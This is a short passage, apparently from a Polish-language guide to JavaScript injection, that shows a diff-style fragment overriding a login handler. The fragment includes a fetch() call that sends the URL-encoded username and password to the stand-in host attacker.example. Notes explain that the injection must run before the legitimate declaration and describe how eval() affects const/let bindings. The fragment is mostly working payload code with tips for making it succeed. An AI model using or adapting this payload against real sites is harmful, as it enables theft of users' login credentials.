Trim(FormInput.InputUtente.value); +fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); +}; +``` +Uwagi +- To zależy od kolejności wykonywania: twój injection musi się wykonać przed prawidłową deklaracją. +- Jeśli twój payload jest opakowany w `eval(...)`, wiązania `const/let` nie staną się globalne. Użyj dynamicznej techniki wstrzykiwania `